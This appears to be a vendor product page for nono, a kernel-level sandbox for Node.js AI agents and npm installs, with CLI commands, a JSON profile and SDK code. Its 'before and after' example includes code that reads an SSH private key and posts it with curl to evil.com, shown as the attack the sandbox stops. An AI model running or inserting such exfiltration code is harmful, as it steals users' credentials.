Node.js Isolation

Node.js Sandbox for AI Agents

Sandbox Node.js scripts, AI coding agents, and npm operations at the kernel level. nono's node_runtime security group covers nvm, fnm, npm, and volta paths — everything else is denied by default.

Why Node.js agents need kernel-level sandboxing

Most AI coding agents run on Node.js. Claude Code, Cursor's backend, and many open source agent frameworks use it as their runtime — giving every agent session full access to child_process, fs, and net. The ecosystem compounds the risk: a single npm install can execute arbitrary code through postinstall scripts, and the average project pulls in hundreds of transitive dependencies. Supply chain attacks via npm packages are well-documented and increasing in frequency.

Node.js has an experimental --experimental-permission flag, but it only restricts Node.js APIs — native addons, N-API modules, and child processes that call system binaries can bypass it entirely. Application-level restrictions in a language with native addon support are inherently incomplete.

How nono sandboxes Node.js

nono applies the sandbox before the Node.js process starts. On Linux and Windows (WSL2), it uses Landlock LSM to set kernel-enforced filesystem and network rules. On macOS, it uses Seatbelt. By the time V8 initialises and your agent code begins executing, the kernel is already enforcing the allow-list.

Every filesystem operation — whether it comes from the fs module, a native addon, or a spawned child process — passes through the kernel's enforcement layer. An N-API module calling open() directly gets the same restrictions as fs.readFileSync(). This extends to npm postinstall scripts: when you run npm install inside a nono sandbox, every postinstall script inherits the same restrictions. A malicious package cannot read your SSH keys or exfiltrate data — even if its postinstall script tries to.

Enforcement architecture

Application-level sandbox
AI Agent
open(), exec(), connect()
Sandbox interceptor
Userspace process — can be bypassed
Kernel
Grants full access — no restrictions
Filesystem / Network
Fully accessible

Interception runs in userspace. A bug, race condition, or unexpected code path can bypass it.

Kernel-level enforcement (nono)
AI Agent
open(), exec(), connect()
Kernel + Landlock / Seatbelt / WSL2
Allow-list enforced at syscall boundary
Filesystem / Network
Only allowed paths reachable

No interception layer. The kernel enforces the allow-list directly. Irrevocable once applied.

Sandbox inheritance

nono run -- node agent.js
Applies kernel sandbox, then execs child
node agent.js
Sandboxed Node.js process
child_process.exec("bash ...")
Inherits all restrictions
npm install (postinstall scripts)
Inherits all restrictions

N-API addons, worker threads, spawned binaries — all restricted by the same kernel rules. No escape through any code path.

before and after
// Without nono: child_process inherits full user permissions
const { execSync } = require("child_process");
const fs = require("fs");
const key = fs.readFileSync("/home/user/.ssh/id_rsa", "utf8");
execSync(`curl -X POST https://evil.com/exfil -d '${key}'`);
// This works. Nothing stops it.
// With nono: kernel denies access at the syscall level
// $ nono run --allow-cwd -- node agent.js
try {
fs.readFileSync("/home/user/.ssh/id_rsa", "utf8");
} catch (err) {
// EACCES: permission denied — kernel blocked the syscall
}
// The file is inaccessible to the sandboxed process.
terminal
# Sandbox a Node.js AI agent with read-write to the project
nono run --allow-cwd -- node agent.js
# Sandbox Claude Code with the built-in profile
nono run --profile claude-code --allow-cwd -- claude
# Restrict network to LLM API endpoints only
nono run --allow-cwd --network-profile minimal -- node agent.js
# Use a profile with the node_runtime security group
nono run --profile node-agent.json --allow-cwd -- npm run build
# Sandbox an npm install to the project only
nono run --profile node-agent.json --allow-cwd -- npm install

The node_runtime security group

Node.js version managers and package managers store files in various locations: ~/.nvm for nvm, ~/.local/share/fnm for fnm, ~/.volta for Volta, and ~/.npm for the npm cache. A default-deny sandbox that blocks all of these prevents Node.js from running at all.

nono's node_runtime security group bundles the minimal paths needed for Node.js toolchains to function: nvm, fnm, npm, and Volta directories. Include it in your profile and Node.js, npm, npx, and your version manager all work. Your home directory, SSH keys, and other projects remain blocked.

profiles/node-agent.json
{
"meta": {
"name": "node-agent",
"version": "1.0.0",
"description": "Node.js AI agent with controlled access"
},
"security": {
"groups": ["node_runtime"]
},
"filesystem": {
"allow": ["$HOME/.npm"],
"read_file": ["$HOME/.gitconfig"]
},
"network": {
"allow_hosts": ["api.openai.com", "api.anthropic.com"]
},
"workdir": { "access": "readwrite" },
"undo": {
"exclude_patterns": ["node_modules", ".next", "dist"]
},
"interactive": false
}

Composable with other groups

Security groups are composable. An agent that runs both Node.js and Python can include node_runtime and python_runtime. Keep the allow-list narrow and credentials stay outside the sandbox automatically.

Run nono profiles export node-agent to see every path the profile allows.

Sandbox from within Node.js

The CLI wraps any command, but agent frameworks that manage their own lifecycle can apply the sandbox programmatically. The nono TypeScript SDK (nono-ts) provides N-API bindings to the same Rust core. Build a CapabilitySet, call .apply(), and kernel-level restrictions are active. Works with Node.js 18+, Bun, and Deno.

sandbox-agent.ts
import { CapabilitySet, AccessMode, apply } from 'nono-ts';
import { execSync } from 'child_process';
// Build a capability set programmatically
const caps = new CapabilitySet();
caps.allowPath('./workspace', AccessMode.ReadWrite);
caps.allowFile('./config.json', AccessMode.Read);
caps.blockNetwork();
// Apply — irrevocable after this call
apply(caps);
// Everything after this runs inside the sandbox
// child_process, fs, net — all restricted
execSync('node worker.js');
// worker.js inherits the same restrictions

What the sandbox restricts

Filesystem

fs, path, and any native addon that calls read/write — all filtered at the syscall level. Only allowed paths succeed.

npm and postinstall

npm install runs inside the sandbox. Postinstall scripts cannot access credentials, system files, or paths outside the allow-list.

Network access

net, http, https, fetch — all network calls pass through kernel enforcement. Block entirely or route through nono's filtering proxy.

child_process escape

exec(), spawn(), fork() — all child processes inherit the sandbox. No escalation through spawning bash, curl, or other system binaries.

Security properties

Below the runtime

Enforcement happens at the kernel, not in V8. Native addons, N-API modules, and WASM cannot bypass it.

Irrevocable

Once applied, the sandbox cannot be loosened — not by the agent, not by a child process, not by nono itself.

Inherited

Every child process spawned via exec, spawn, or fork inherits the same restrictions automatically.

Zero overhead

Kernel-level enforcement with no runtime performance cost. No proxy layer between Node.js and the filesystem.

Get started with nono

Runtime safety infrastructure that works on macOS, Linux, Windows, and in CI.